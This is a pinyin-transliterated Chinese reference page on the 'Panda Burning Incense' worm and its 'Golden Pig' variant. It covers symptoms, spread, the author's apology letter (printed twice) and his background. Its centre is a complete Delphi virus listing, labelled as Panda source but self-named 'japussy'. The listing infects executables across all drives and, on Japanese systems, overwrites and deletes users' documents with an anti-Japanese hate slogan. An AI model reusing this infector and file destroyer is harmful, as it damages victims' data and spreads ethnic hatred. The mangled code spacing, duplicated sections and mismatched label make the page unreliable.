cǐ hòu， bù fēn liú máng ruǎn jiàn kāi shǐ hé bìng dú hé zuò。 zǎo xiān yī gè chuán bō jiào guǎng de rú chóng bìng dú“ wēi jīn rú chóng (worm.viking)”， jiù huì cóng bìng dú zuò zhě zhǐ dìng de wǎng zhàn qù xià zài liú máng ruǎn jiàn、 dào hào mù mǎ děng， bìng zhòngzhí zài yòng hù de jì suàn jī shàng。
“ dà liàng‘ liú máng ruǎn jiàn’ kāi shǐ shǐ yòng diàn nǎo bìng dú lái yǐn cáng zì shēn、 jìn xíng kuài sù chuán bō、 bìng duì kàng yòng hù de qīng chú děng， zhè xiē xíng wéi yán zhòng wēi hài dào yòng hù de xìn xī 'ān quán hé lì yì。” shǐ yǔ chēng，“‘ xióng māo shāo xiāng ’ bìng dú chéng wéi yī gè‘ jiào kē shū’ shì de bìng dú， shì bì yòu dà liàng de bìng dú huì mó fǎng tā de tè zhēng jìn xíng biān xiě。”
1 yuè 29 rì， jīn shān dú bà fǎn bìng dú zhōng xīn zuì xīn xiāo xī：“ xióng māo shāo xiāng ” huà shēn“ jīn zhū”， wēi hài zhǐ shù zài dù shēng jí， àn zhào mù qián“ xióng māo shāo xiāng ” pò huài chéng dù， wēi xié jiāng yán shēn zhì chūn jié。 ér zài ruì xīng quán qiú fǎn bìng dú jiān cè wǎng 27 rì jiān cè jiēguǒ xiǎn shì， 27 rì yī gè“ diàn yǎn jiàndié biàn zhǒng bsf(trojan.spy.delf.bsf)” bìng dú yòu chū xiàn， gāi bìng dú yǔ“ xióng māo shāo xiāng ” bìng dú lèi sì。
ér yè nèi rén shì chēng， jìn rì yóu yú dì zhèn yǐn qǐ hǎi dǐ guāng lǎn zhōng duàn， zào chéng shù bǎi wàn shǐ yòng guó wài shā dú ruǎn jiàn de gè rén yòng hù、 shù shí wàn qǐ yè hé zhèng fǔ jú yù wǎng yòng hù wú fǎ shēng jí。 zhè yòu yì wèi zhe zhè xiē yòng hù de diàn nǎo wán quán xiàng bìng dú hé hēi kè chǎng kāi liǎo dà mén。
“ zài méi yòu fǎ lǜ fǎ guī chū tái qián， liú máng ruǎn jiàn shì bù huì suō shǒu de， bù pái chú‘ xióng māo shāo xiāng ’ shì liú máng ruǎn jiàn suǒ wéi。” zuó rì， zhōng guó fǎn liú máng ruǎn jiàn lián méng lǐ jiā héng biǎo shì：“ zhǐ yào yòu lì yì qū shǐ， liú máng ruǎn jiàn jiù huì biàn huà xíng shì， yǐ gèng bù róng yì chá jué de bìng dú fāng shì háo wú jì dá dì móu qǔ lì yì。”
xióng māo shāo xiāng ” huà shēn“ jīn zhū”， chūn jié dà bào fā。
“ cháng jiǎ shì bìng dú de gāo fā qī， tè bié shì cháng jiǎ zhī hòu， bìng dú zōng hé zhèng jiē zhǒng 'ér lái。” jīn shān dú bà fǎn bìng dú zhuān jiā dài guāng jiàn shuō，“ mù qián wǒ men yǐ jīng jié huò‘ jīn zhū’ de biàn zhǒng。 bèi gǎn rǎn de diàn nǎo zhōng bù dàn‘ xióng māo’ chéng qún， ér qiě‘ jīn zhū’ néng shǐ xì tǒng bèi pò huài， dà liàng ruǎn jiàn wú fǎ yìng yòng。” zhè yī guān diǎn dé dào liǎo shàng hǎi shì jì suàn jī bìng dú fáng fàn fú wù zhōng xīn de rèn tóng。
yī dàn zhòngdú， yòng hù yě bù yòng huāng zhāng， yòng hù kě bō dǎ shàng hǎi shì xìn xī huà fú wù rè xiàn diàn huà 9682000 xún qiú bāng zhù。 zhāng dān
“ xióng māo shāo xiāng ” bìng dú gōng lüè： fáng yù hé jiě chú fāng fǎ
jì shì wǎng xiāo xī zài 2007 nián xīn nián chū xiàn de“ pe_fujacks” jiù shì zuì jìn ràng guǎng dà hù lián wǎng yòng hù wén zhī sè biàn de“ xióng māo shāo xiāng ”。 gāi bìng dú de zuò zhě wéi“ wǔ hàn nán shēng” ( wén jiàn mò qiān míng” whboy” )， zhè gè bǎn běn de bìng dú yǐ jīng jí chéng liǎo pe_fujack hé qq dà dào de dài mǎ， tōng guò wǎng luò gòng xiǎng , wén jiàn gǎn rǎn hé yí dòng cún chǔ shè bèi chuán bō， yóu qí shì gǎn rǎn wǎng yè wén jiàn， bìng zài wǎng yè wén jiàn xiě rù zì dòng gēngxīn de dài mǎ， yī dàn liú lǎn gāi wǎng yè， jiù huì gǎn rǎn gēngxīn hòu de biàn zhǒng。
bù xìng zhōng zhāo de yòng hù dōuzhī dào，“ xióng māo shāo xiāng ” huì zhàn yòng jú yù wǎng dài kuān， shǐ dé diàn nǎo biàn dé huǎn màn， jì suàn jī huì chū xiàn yǐ xià zhèng zhuàng： xióng māo shāo xiāng bìng dú huì zài wǎng luò gòng xiǎng wén jiàn jiā zhōng shēng chéng yī gè míng wéi gamesetup.exe de bìng dú wén jiàn； jié shù mǒu xiē yìng yòng chéng xù yǐ jí fáng dú ruǎn jiàn de jìn chéng， dǎo zhì yìng yòng chéng xù yì cháng， huò bù néng zhèng cháng zhí xíng， huò sù dù biàn màn； yìng pán fēn qū huò zhě u pán bù néng fǎng wèn shǐ yòng； exe chéng xù wú fǎ shǐ yòng chéng xù tú biāo biàn chéng xióng māo shāo xiāng tú biāo； yìng pán de gēn mù lù chū xiàn setup.exeauturun.inf wén jiàn； tóng shí liú lǎn qì huì mò míng qí miào dì kāi qǐ huò guān bì。
gāi bìng dú zhù yào tōng guò liú lǎn 'è yì wǎng zhàn、 wǎng luò gòng xiǎng、 wén jiàn gǎn rǎn hé yí dòng cún chǔ shè bèi ( rú u pán ) děng tú jìng gǎn rǎn， qí zhōng wǎng luò gòng xiǎng hé wén jiàn gǎn rǎn de fēng xiǎn xì shù jiào gāo， ér tōng guò web hé yí dòng cún chǔ gǎn rǎn de fēng xiǎn xiāng duì jiào dī。 gāi bìng dú huì zì xíng qǐ dòng 'ān zhuāng， shēng chéng zhù cè liè biǎo hé bìng dú wén jiàn %system%driversspoclsv.exe， bìng zài suǒ yòu cí pán gēn mù lù xià shēng chéng bìng dú wén jiàn setup.exe,autorun.inf。 | xióng māo shāo xiāng de bìng dú yuán mǎ | program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; // bìng dú tǐ de dà xiǎo
iconoffset=eb8;//pe wén jiàn zhù tú biāo de piān yí liàng
// zài wǒ de delphi5sp1 shàng miàn biān yì dé dào de dà xiǎo， qí tā bǎn běn de delphi kě néng bù tóng
// chá zhǎo 2800000020 de shí liù jìn zhì zì fú chuàn kě yǐ zhǎo dào zhù tú biāo de piān yí liàng
{
headersize=38912;//upx yā suō guò bìng dú tǐ de dà xiǎo
iconoffset=bc;//upx yā suō guò pe wén jiàn zhù tú biāo de piān yí liàng
//upx1.24w yòng fǎ :upx-9--8086japussy.exe
}
iconsize=e8;//pe wén jiàn zhù tú biāo de dà xiǎo --744 zì jié
icontail=iconoffset+iconsize;//pe wén jiàn zhù tú biāo de wěi bù
id=444444;// gǎn rǎn biāo jì
// lā jī mǎ， yǐ bèi xiě rù
catchword='ifaraceneedtobekilledout,itmustbeyamato.'+
'ifacountryneedtobedestroyed,itmustbejapan!'+
'***w32.japussy.worm.a***';
{$r*.res}
functionregisterserviceprocess(dwprocessid,dwtype:integer):integer;
stdcall;external'kernel32.dll';// hán shù shēng míng
var
tmpfile:string;
si:startupinfo;
pi:process_information;
isjap:boolean=false;// rì wén cāo zuò xì tǒng biāo jì
{ pàn duàn shì fǒu wéi win9x}
functioniswin9x:boolean;
var
ver:tosversioninfo;
begin
result:=false;
ver.dwosversioninfosize:=sizeof(tosversioninfo);
ifnotgetversionex(ver)then
exit;
if(ver.dwplatformid=ver_platform_win32_windows)then//win9x
result:=true;
end;
{ zài liú zhī jiān fù zhì }
procedurecopystream(src:tstream;sstartpos:integer;dst:tstream;
dstartpos:integer;count:integer);
var
scurpos,dcurpos:integer;
begin
scurpos:=src.position;
dcurpos:=dst.position;
src.seek(sstartpos,0);
dst.seek(dstartpos,0);
dst.copyfrom(src,count);
src.seek(scurpos,0);
dst.seek(dcurpos,0);
end;
{ jiāng sù zhù wén jiàn cóng yǐ gǎn rǎn de pe wén jiàn zhōng fēn lí chū lái， yǐ bèi shǐ yòng }
procedureextractfile(filename:string);
var
sstream,dstream:tfilestream;
begin
try
sstream:=tfilestream.create(paramstr(0),fmopenreadorfmsharedenynone);
try
dstream:=tfilestream.create(filename,fmcreate);
try
sstream.seek(headersize,0);// tiào guò tóu bù de bìng dú bù fēn
dstream.copyfrom(sstream,sstream.size-headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ tián chōng startupinfo jié gòu }
procedurefillstartupinfo(varsi:startupinfo;state:word);
begin
si.cb:=sizeof(si);
si.lpreserved:=nil;
si.lpdesktop:=nil;
si.lptitle:=nil;
si.dwflags:=startf_useshowwindow;
si.wshowwindow:=state;
si.cbreserved2:=0;
si.lpreserved2:=nil;
end;
{ fā dài dú yóu jiàn }
proceduresendmail;
begin
// yóu jiàn zhōng zhǐ
end;
{ gǎn rǎn pe wén jiàn }
procedureinfectonefile(filename:string);
var
hdrstream,srcstream:tfilestream;
icostream,dststream:tmemorystream;
iid:longint;
aicon:ticon;
infected,ispe:boolean;
i:integer;
buf:array[0..1]ofchar;
begin
try// chū cuò zé wén jiàn zhèng zài bèi shǐ yòng， tuì chū
ifcomparetext(filename,'japussy.exe')=0then// shì zì jǐ zé bù gǎn rǎn
exit;
infected:=false;
ispe:=false;
srcstream:=tfilestream.create(filename,fmopenread);
try
fori:=0to8do// jiǎn chá pe wén jiàn tóu
begin
srcstream.seek(i,sofrombeginning);
srcstream.read(buf,2);
if(buf[0]=#80)and(buf=#69)then//pe biāo jì
begin
ispe:=true;// shì pe wén jiàn
break;
end;
end;
srcstream.seek(-4,sofromend);// jiǎn chá gǎn rǎn biāo jì
srcstream.read(iid,4);
if(iid=id)or(srcstream.size<10240)then// tài xiǎo de wén jiàn bù gǎn rǎn
infected:=true;
finally
srcstream.free;
end;
ifinfectedor(notispe)then// rú guǒ gǎn rǎn guò liǎo huò bù shì pe wén jiàn zé tuì chū
exit;
icostream:=tmemorystream.create;
dststream:=tmemorystream.create;
try
aicon:=ticon.create;
try
// dé dào bèi gǎn rǎn wén jiàn de zhù tú biāo (744 zì jié )， cún rù liú
aicon.releasehandle;
aicon.handle:=extracticon(hinstance,pchar(filename),0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream:=tfilestream.create(filename,fmopenread);
// tóu wén jiàn
hdrstream:=tfilestream.create(paramstr(0),fmopenreadorfmsharedenynone);
try
// xiě rù bìng dú tǐ zhù tú biāo zhī qián de shù jù
copystream(hdrstream,0,dststream,0,iconoffset);
// xiě rù mù qián chéng xù de zhù tú biāo
copystream(icostream,22,dststream,iconoffset,iconsize);
// xiě rù bìng dú tǐ zhù tú biāo dào bìng dú tǐ wěi bù zhī jiān de shù jù
copystream(hdrstream,icontail,dststream,icontail,headersize-icontail);
// xiě rù sù zhù chéng xù
copystream(srcstream,0,dststream,headersize,srcstream.size);
// xiě rù yǐ gǎn rǎn de biāo jì
dststream.seek(0,2);
iid:=444444;
dststream.write(iid,4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename);// tì huàn sù zhù wén jiàn
dststream.free;
end;
except;
end;
end;
{ jiāng mù biāo wén jiàn xiě rù lā jī mǎ hòu shān chú }
proceduresmashfile(filename:string);
var
filehandle:integer;
i,size,mass,max,len:integer;
begin
try
setfileattributes(pchar(filename),0);// qù diào zhǐ dú shǔ xìng
filehandle:=fileopen(filename,fmopenwrite);// dǎ kāi wén jiàn
try
size:=getfilesize(filehandle,nil);// wén jiàn dà xiǎo
i:=0;
randomize;
max:=random(15);// xiě rù lā jī mǎ de suí jī cì shù
ifmax<5then
max:=5;
mass:=sizedivmax;// měi gè jiàngé kuài de dà xiǎo
len:=length(catchword);
whilei<maxdo
begin
fileseek(filehandle,i*mass,0);// dìng wèi
// xiě rù lā jī mǎ， jiāng wén jiàn chè dǐ pò huài diào
filewrite(filehandle,catchword,len);
inc(i);
end;
finally
fileclose(filehandle);// guān bì wén jiàn
end;
_delete_file(pchar(filename));// shān chú zhī
except
end;
end;
{ huò dé kě xiě de qū dòng qì liè biǎo }
functiongetdrives:string;
var
disktype:word;
d:char;
str:string;
i:integer;
begin
fori:=0to25do// biàn lì 26 gè zì mǔ
begin
d:=chr(i+65);
str:=d+':';
disktype:=getdrivetype(pchar(str));
// dé dào běn dì cí pán hé wǎng luò pán
if(disktype=drive_fixed)or(disktype=drive_remote)then
result:=result+d;
end;
end;
{ biàn lì mù lù， gǎn rǎn hé cuī huǐ wén jiàn }
procedureloopfiles(path,mask:string);
var
i,count:integer;
fn,ext:string;
subdir:tstrings;
searchrec:tsearchrec;
msg:tmsg;
functionisvaliddir(searchrec:tsearchrec):integer;
begin
if(searchrec.attr<>16)and(searchrec.name<>'.')and
(searchrec.name<>'..')then
result:=0// bù shì mù lù
elseif(searchrec.attr=16)and(searchrec.name<>'.')and
(searchrec.name<>'..')then
result:=1// bù shì gēn mù lù
elseresult:=2;// shì gēn mù lù
end;
begin
if(findfirst(path+mask,faanyfile,searchrec)=0)then
begin
repeat
peekmessage(msg,0,0,0,pm_remove);// tiáozhěng xiāo xī duì liè， bì miǎn yǐn qǐ huái yí
ifisvaliddir(searchrec)=0then
begin
fn:=path+searchrec.name;
ext:=uppercase(extractfileext(fn));
if(ext='.exe')or(ext='.scr')then
begin
infectonefile(fn);// gǎn rǎn kě zhí xíng wén jiàn
end
elseif(ext='')or(ext='l')or(ext='.asp')then
begin
// gǎn rǎn html hé asp wén jiàn， jiāng base64 biān mǎ hòu de bìng dú xiě rù
// gǎn rǎn liú lǎn cǐ wǎng yè de suǒ yòu yòng hù
// nǎ wèi dà xiōng dì yuàn yì wán chéng zhī？
end
elseifext='.wab'then//outlook dì zhǐ bù wén jiàn
begin
// huò qǔ outlook yóu jiàn dì zhǐ
end
elseifext='.adc'then//foxmail dì zhǐ zì dòng wán chéng wén jiàn
begin
// huò qǔ foxmail yóu jiàn dì zhǐ
end
elseifext='ind'then//foxmail dì zhǐ bù wén jiàn
begin
// huò qǔ foxmail yóu jiàn dì zhǐ
end
else
begin
ifisjapthen// shì wō wén cāo zuò xì tǒng
begin
if(ext='.doc')or(ext='.xls')or(ext='.mdb')or
(ext='.mp3')or(ext='.rm')or(ext='.ra')or
(ext='.wma')or(ext='.zip')or(ext='.rar')or
(ext='.mpeg')or(ext='.asf')or(ext='.jpg')or
(ext='.jpeg')or(ext='.gif')or(ext='.swf')or
(ext='.pdf')or(ext='.chm')or(ext='.avi')then
smashfile(fn);// cuī huǐ wén jiàn
end;
end;
end;
// gǎn rǎn huò shān chú yī gè wén jiàn hòu shuì mián 200 háo miǎo， bì miǎn cpu zhàn yòng shuài guò gāo yǐn qǐ huái yí
sleep(200);
until(findnext(searchrec)<>0);
end;
findclose(searchrec);
subdir:=tstringlist.create;
if(findfirst(path+'*.*',fadirectory,searchrec)=0)then
begin
repeat
ifisvaliddir(searchrec)=1then
subdir.add(searchrec.name);
until(findnext(searchrec)<>0);
end;
findclose(searchrec);
count:=subdir.count-1;
fori:=0tocountdo
loopfiles(path+subdir.strings+'',mask);
freeandnil(subdir);
end;
{ biàn lì cí pán shàng suǒ yòu de wén jiàn }
procedureinfectfiles;
var
driverlist:string;
i,len:integer;
begin
ifgetacp=932then// rì wén cāo zuò xì tǒng
isjap:=true;// qù sǐ bā！
driverlist:=getdrives;// dé dào kě xiě de cí pán liè biǎo
len:=length(driverlist);
whiletruedo// sǐ xún huán
begin
fori:=lendownto1do// biàn lì měi gè cí pán qū dòng qì
loopfiles(driverlist+':','*.*');// gǎn rǎn zhī
sendmail;// fā dài dú yóu jiàn
sleep(1000*60*5);// shuì mián 5 fēn zhōng
end;
end;
{ zhù chéng xù kāi shǐ }
begin
ifiswin9xthen// shì win9x
registerserviceprocess(getcurrentprocessid,1)// zhù cè wéi fú wù jìn chéng
else//winnt
begin
// yuǎn chéng xiàn chéng yìng shè dào explorer jìn chéng
// nǎ wèi xiōng tái yuàn yì wán chéng zhī？
end;
// rú guǒ shì yuán shǐ bìng dú tǐ zì jǐ
ifcomparetext(extractfilename(paramstr(0)),'japussy.exe')=0then
infectfiles// gǎn rǎn hé fā yóu jiàn
else// yǐ jì shēng yú sù zhù chéng xù shàng liǎo， kāi shǐ gōng zuò
begin
tmpfile:=paramstr(0);// chuàng jiàn lín shí wén jiàn
_delete_(tmpfile,length(tmpfile)-4,4);
tmpfile:=tmpfile+#32+'.exe';// zhēn zhèng de sù zhù wén jiàn， duō yī gè kònggé
extractfile(tmpfile);// fēn lí zhī
fillstartupinfo(si,sw_showdefault);
createprocess(pchar(tmpfile),pchar(tmpfile),nil,nil,true,
0,nil,'.',si,pi);// chuàng jiàn xīn jìn chéng yùn xíng zhī
infectfiles;// gǎn rǎn hé fā yóu jiàn
end;
end. | xióng māo shāo xiāng de dì yī bǎn zuò zhě dào qiàn xìn | gè wèi wǎng yǒu：
nǐ men hǎo ! wǒ shì xióng māo shāo xiāng de dì yī bǎn zuò zhě .
wǒ zhēn de méi yòu xiǎng dào xióng māo shāo xiāng zài duǎn duǎn de liǎng gè yuè jìng rán fēng kuáng gǎn rǎn dào zhè gè dì bù , zhēn de shì wǒ de bù duì , huò xǔ zhēn de shì wǒ dī gū liǎo wǎng luò de lì liàng , tā de sàn bō sù dù shì wǒ xiǎng bù dào de ! duì yú suǒ yòu zhòngdú de wǎng yǒu , qǐ yè lái shuō , kě néng shì yī gè hěn dà de dǎ jī , wǒ duì cǐ biǎo shì shēn shēn de qiàn yì ! hěn duì bù qǐ !
wǒ yào jiě shì yī xiē shì qíng , yòu rén shuō xióng māo shāo xiāng gēnggǎi xióng māo de tú biāo shì wǒ zài dǐ huǐ dà xióng māo ! zhè lǐ wǒ yào jiě shì xià , zhè shì jué duì méi yòu de shì qíng , wán quán shì chū yú zhè gè tú piàn bǐ jiào ràng wǒ gè rén xǐ huān , cái huì yòng de !
hái yòu guān yú biàn zhǒng , wǒ xiě zhè gè de chū zhōng yě shì zhè gè , chún cuì shì wéi liǎo biān chéng yán jiū , duì yú chū liǎo zhè me duō biàn zhǒng , wǒ shì gēn běn xiǎng bù dào de , zhè gè zé rèn yě bù quán shì zài wǒ de ! hái yòu rén shuō xióng māo bìng dú xiě chū lái shì shāng yè mùdì ! zhè gè wán quán shì wú jī zhī tán . wǒ zài zhè lǐ chéng nuò , běn rén shì jué duì méi yòu gēngxīn guò rèn hé biàn zhǒng !
guān yú zhòngdú hòu de yī xiē cuò wù , yòu rén zhòngdú hòu huì yòu lán píng , wú shēng , kǎ sǐ , wén jiàn diū shī zhè xiē xiàn xiàng ! lán píng hé sǐ jī de yuán yīn hěn duō kě néng , xióng māo de zhù chéng xù shì bù huì zào chéng diàn nǎo sǐ jī huò lán píng de , gèng bù huì bǎ bié rén lǐ miàn de wén jiàn nòng diū shī !
hái yòu rén shuō wǒ shì gè xīn lǐ biàn tài , wǒ zài qián miàn yǐ jīng shuō liǎo , gǎn rǎn de sù dù , biàn zhǒng de shù liàng shì wǒ suǒ liào xiǎng bù dào de . hái yòu , wǒ xiě zhè gè bìng dú de chū zhōng wán quán shì wèile biān chéng yán jiū . duì yú zhè gè píng lùn , wǒ yě jiù bù duō shuō shénme liǎo !
zuì hòu jiù shì guān yú wǒ de shēn fèn , dà jiā bù yào zài cāi cè wǒ shì shuí liǎo ,15 suì de wǔ hàn nán shēng yě hǎo , shì gè nǚ de yě hǎo , mǒu gōng sī lǎo zǒng yě hǎo , shā dú chǎng shāng yě hǎo , guāng shì xīn wén de píng lùn , wǎng yǒu de chòu mà yǐ jīng ràng wǒ hòu huǐ zhī jí liǎo ! xī wàng xióng māo bìng dú bù yào zài chéng wéi chǎo zuò de yú lè xīn wén , bù yào zài chū rèn hé guān yú xióng māo xīn wén hé píng lùn ! xī wàng 'ān quán ruǎn jiàn gōng sī , bù yào chuī shī , xiāng hù dǐ huǐ , xiāng hù chǎo zuò , jìn lì zuò chū ràng rén men xìn lài de hǎo 'ān quán ruǎn jiàn ! xiè xiè dà jiā !
zhè shì wǒ xiě de yī gè zhuān shā chéng xù , kěn dìng shì bǐ bù shàng zhuān yè jí de shā dú ruǎn jiàn liǎo , dàn shì wǒ xiǎng zhè shì wǒ zuì hòu néng gěi dà jiā zuò de shì qíng liǎo .
xióng māo zǒu liǎo , shì jié shù má ? bù shì de , wǎng luò yǒng yuǎn méi yòu 'ān quán de shí hòu , huò xǔ zài bù jiǔ , huì yòu hěn duō gèng lì hài de bìng dú chū lái ! suǒ yǐ wǒ zài zhè lǐ tí xǐng dà jiā , tí gāo wǎng luò 'ān quán yì shí , bìng bù shì nǐ yīnggāi zhù yì de , ér shì nǐ bì xū dǒng dé hé qù zuò de yī xiē shì qíng !
zài yī cì biǎo shì shēn shēn de qiàn yì , tóng shí wǒ fā chū zhè gè zhuān shā , yuàn néng gěi dà jiā dài lái bāng zhù !
xióng māo shāo xiāng de zuò zhě
2007 nián 2 yuè 9 rì yú xiān táo shì dì yī kānshǒu suǒ | biàn zhǒng： jīn zhū bào xǐ | jīn zhū bào xǐ bìng dú shí jì jiù shì zuì jìn xióng māo shāo xiāng de xīn biàn zhǒng，
chūn jié jiāng zhì， rán 'ér guǎng dà wǎng luò yòng hù réng méi yòu chè dǐ bǎi tuō“ xióng māo shāo xiāng ” de yīn mái。 bàn suí zhe dà liàng“ xióng māo shāo xiāng ” biàn zhǒng de chū xiàn， duì yòng hù de wēi hài yī làng gāo guò yī làng。 1 yuè 29 rì， lái zì jīn shān dú bà fǎn bìng dú zhōng xīn zuì xīn xiāo xī：“ xióng māo shāo xiāng ” huà shēn“ jīn zhū”， wēi hài zhǐ shù zài dù shēng jí， bèi gǎn rǎn de diàn nǎo zhōng bù dàn“ xióng māo” chéng qún， ér qiě“ jīn zhū” mǎn juàn。 dàn xiàng zhēng cái fù de jīn zhū réng rán ràng yòng hù wú fǎ bǎi tuō“ xì tǒng bèi pò huài， dà liàng yìng yòng ruǎn jiàn wú fǎ yìng yòng” de 'è mèng。
bìng dú miáo shù：
“ wǔ hàn nán shēng”， sú chēng“ xióng māo shāo xiāng ”， jìn rì yòu huà shēn wéi“ jīn zhū bào xǐ”， zhè shì yī gè gǎn rǎn xíng de rú chóng bìng dú， tā néng gǎn rǎn xì tǒng zhōng exe， com， pif， src， html， asp děng wén jiàn， tā hái néng zhōng zhǐ dà liàng de fǎn bìng dú ruǎn jiàn jìn chéng bìng qiě huì shān chú kuò zhǎn míng wéi gho de wén jiàn， gāi wén jiàn shì yī xì tǒng bèi fèn gōng jù ghost de bèi fèn wén jiàn， shǐ yòng hù de xì tǒng bèi fèn wén jiàn diū shī。 bèi gǎn rǎn de yòng hù xì tǒng zhōng suǒ yòu .exe kě zhí xíng wén jiàn quán bù bèi gǎi chéng kě 'ài jīn zhū de múyàng。
1 yuè 30 rì， jiāng mín kē jì fǎn bìng dú zhōng xīn jiān cè dào， sì nüè hù lián wǎng de“ xióng māo shāo xiāng ” yòu chū xīn biàn zhǒng。 cǐ cì biàn zhǒng bǎ“ xióng māo shāo xiāng ” tú 'àn biàn chéng“ jīn zhū bào xǐ”。 jiāng mín fǎn bìng dú zhuān jiā tí xǐng yòng hù， chūn jié lín jìn， jǐn fáng chūn jié qī jiān bìng dú jiè rén men hù | | bìng dú míng chēng : xióng māo shāo xiāng ， Worm.WhBoy.（ jīn shān chēng）， Worm.Nimaya.（ ruì xīng chēng）
bìng dú bié míng： ní mǔ yà， wǔ hàn nán shēng， hòu yòu huà shēn wéi“ jīn zhū bào xǐ”， guó wài chēng“ xióng māo shāo xiāng ”
wēi xiǎn jí bié：★★★★★
bìng dú lèi xíng： rú chóng bìng dú， néng gòu zhōng zhǐ dà liàng de fǎn bìng dú ruǎn jiàn hé fáng huǒ qiáng ruǎn jiàn jìn chéng。
yǐng xiǎng xì tǒng： Win9x/ME、 Win2000/NT、 WinXP、 Win2003、 WinVista
fā xiàn shí jiān： 2006 nián 10 yuè 16 rì
lái yuán dì： zhōng guó wǔ hàn dōng hú gāo xīn jì shù kāi fā qū guān shān | xióng māo shāo xiāng de dì yī bǎn zuò zhě dào qiàn xìn | gè wèi wǎng yǒu：
nǐ men hǎo ! wǒ shì xióng māo shāo xiāng de dì yī bǎn zuò zhě .
wǒ zhēn de méi yòu xiǎng dào xióng māo shāo xiāng zài duǎn duǎn de liǎng gè yuè jìng rán fēng kuáng gǎn rǎn dào zhè gè dì bù , zhēn de shì wǒ de bù duì , huò xǔ zhēn de shì wǒ dī gū liǎo wǎng luò de lì liàng , tā de sàn bō sù dù shì wǒ xiǎng bù dào de ! duì yú suǒ yòu zhòngdú de wǎng yǒu , qǐ yè lái shuō , kě néng shì yī gè hěn dà de dǎ jī , wǒ duì cǐ biǎo shì shēn shēn de qiàn yì ! hěn duì bù qǐ !
wǒ yào jiě shì yī xiē shì qíng , yòu rén shuō xióng māo shāo xiāng gēnggǎi xióng māo de tú biāo shì wǒ zài dǐ huǐ dà xióng māo ! zhè lǐ wǒ yào jiě shì xià , zhè shì jué duì méi yòu de shì qíng , wán quán shì chū yú zhè gè tú piàn bǐ jiào ràng wǒ gè rén xǐ huān , cái huì yòng de !
hái yòu guān yú biàn zhǒng , wǒ xiě zhè gè de chū zhōng yě shì zhè gè , chún cuì shì wéi liǎo biān chéng yán jiū , duì yú chū liǎo zhè me duō biàn zhǒng , wǒ shì gēn běn xiǎng bù dào de , zhè gè zé rèn yě bù quán shì zài wǒ de ! hái yòu rén shuō xióng māo bìng dú xiě chū lái shì shāng yè mùdì ! zhè gè wán quán shì wú jī zhī tán . wǒ zài zhè lǐ chéng nuò , běn rén shì jué duì méi yòu gēngxīn guò rèn hé biàn zhǒng !
guān yú zhòngdú hòu de yī xiē cuò wù , yòu rén zhòngdú hòu huì yòu lán píng , wú shēng , kǎ sǐ , wén jiàn diū shī zhè xiē xiàn xiàng ! lán píng hé sǐ jī de yuán yīn hěn duō kě néng , xióng māo de zhù chéng xù shì bù huì zào chéng diàn nǎo sǐ jī huò lán píng de , gèng bù huì bǎ bié rén lǐ miàn de wén jiàn nòng diū shī !
hái yòu rén shuō wǒ shì gè xīn lǐ biàn tài , wǒ zài qián miàn yǐ jīng shuō liǎo , gǎn rǎn de sù dù , biàn zhǒng de shù liàng shì wǒ suǒ liào xiǎng bù dào de . hái yòu , wǒ xiě zhè gè bìng dú de chū zhōng wán quán shì wèile biān chéng yán jiū . duì yú zhè gè píng lùn , wǒ yě jiù bù duō shuō shénme liǎo !
zuì hòu jiù shì guān yú wǒ de shēn fèn , dà jiā bù yào zài cāi cè wǒ shì shuí liǎo ,15 suì de wǔ hàn nán shēng yě hǎo , shì gè nǚ de yě hǎo , mǒu gōng sī lǎo zǒng yě hǎo , shā dú chǎng shāng yě hǎo , guāng shì xīn wén de píng lùn , wǎng yǒu de chòu mà yǐ jīng ràng wǒ hòu huǐ zhī jí liǎo ! xī wàng xióng māo bìng dú bù yào zài chéng wéi chǎo zuò de yú lè xīn wén , bù yào zài chū rèn hé guān yú xióng māo xīn wén hé píng lùn ! xī wàng 'ān quán ruǎn jiàn gōng sī , bù yào chuī shī , xiāng hù dǐ huǐ , xiāng hù chǎo zuò , jìn lì zuò chū ràng rén men xìn lài de hǎo 'ān quán ruǎn jiàn ! xiè xiè dà jiā !
zhè shì wǒ xiě de yī gè zhuān shā chéng xù , kěn dìng shì bǐ bù shàng zhuān yè jí de shā dú ruǎn jiàn liǎo , dàn shì wǒ xiǎng zhè shì wǒ zuì hòu néng gěi dà jiā zuò de shì qíng liǎo .
xióng māo zǒu liǎo , shì jié shù má ? bù shì de , wǎng luò yǒng yuǎn méi yòu 'ān quán | | gāi bìng dú zuò zhě shì lǐ jùn， wǔ hàn xīn zhōu qū rén， 25 suì。 jù tā de jiā rén yǐ jí péng yǒu jiè shào， tā zài chū zhōng shí yīng yǔ hé shù xué chéng jì dōuhěn bù cuò， dàn hái shì méi néng kǎo shàng gāo zhōng， zhōng zhuān zài wā shí zhí yè jì shù xué xiào jiù dú， xué xí de shì shuǐ ní gōng yì zhuān yè， bì yè hòu céng shàng guò wǎng luò jì shù zhí yè péi xùn bān， tā péng yǒu jiǎng tā shì“ zì xué chéng cái， tā de dà bù fēn diàn nǎo jì shù dōushì kàn shū zì xué de”。 2004 nián lǐ jùn dào běi jīng、 guǎng zhōu de wǎng luò 'ān quán gōng sī qiú zhí， dàn dū yīn xué lì dī de yuán yīn zāo jù， yú shì tā kāi shǐ bào zhe bào fù shè huì yǐ jí zuàn qián de mùdì biān xiě bìng dú liǎo。 tā céng zài 2003 nián biān xiě liǎo bìng dú“ wǔ hàn nán shēng”， 2005 nián tā hái biān xiě liǎo bìng dú QQ wěi bā， bìng duì“ wǔ hàn nán shēng” bǎn běn gēngxīn chéng wéi“ wǔ hàn nán shēng 2005”。
